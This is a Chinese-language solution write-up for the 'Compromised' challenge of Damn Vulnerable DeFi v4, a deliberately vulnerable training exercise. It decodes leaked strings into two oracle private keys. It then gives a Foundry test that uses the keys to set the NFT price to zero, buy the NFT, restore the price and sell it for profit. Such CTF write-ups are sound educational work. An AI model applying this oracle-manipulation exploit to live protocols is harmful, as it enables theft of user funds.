Damn-vulnerable-defi-V4-solution(Compromised)
一、Compromised
背景:
我们有一家交易所正在出售一种名为“DVNFT”的NFT。该NFT的价格由基于三个来源的预言机获取,并设定为三个来源价格的中位数。
如果我们将十六进制字符串解码为普通字符串,我们分别得到:
MHg3ZDE1YmJhMjZjNTIzNjgzYmZjM2RjN2NkYzVkMWI4YTI3NDQ0NDc1OTdjZjRkYTE3MDVjZjZjOTkzMDYzNzQ0
MHg2OGJkMDIwYWQxODZiNjQ3YTY5MWM2YTVjMGMxNTI5ZjIxZWNkMDlkY2M0NTI0MTQwMmFjNjBiYTM3N2M0MTU5该字符串似乎是Base64编码的。解码后,我们得到:
0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744
0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159这两个十六进制字符串都是 32 个字节,这意味着它们可能是私钥。我们可以用它vm.addr来查找每个私钥对应的地址,并查看这些地址是否与预言机的两个来源匹配。
攻击思路:
由于我们可以控制这两个来源,因此我们可以操纵 NFT 的价格,例如将其设定为 0 ETH(因此中间价也将为 0 ETH),并使用玩家的余额购买。之后,我们将 NFT 的价格调整回 999 ETH 并出售。
function test_compromised() public checkSolved {
address chainlink1 = vm.addr(0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744);
address chainlink2 = vm.addr(0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159);
vm.prank(chainlink1);
oracle.postPrice("DVNFT", 0);
vm.prank(chainlink2);
oracle.postPrice("DVNFT", 0);
vm.prank(player);
uint256 id = exchange.buyOne{value: 0.1 ether}();
vm.prank(chainlink1);
oracle.postPrice("DVNFT", INITIAL_NFT_PRICE);
vm.prank(chainlink2);
oracle.postPrice("DVNFT", INITIAL_NFT_PRICE);
vm.startPrank(player);
nft.approve(address(exchange), id);
exchange.sellOne(id);
(bool success,) = payable(recovery).call{value: INITIAL_NFT_PRICE}("");
if (!success) revert();
vm.stopPrank();
}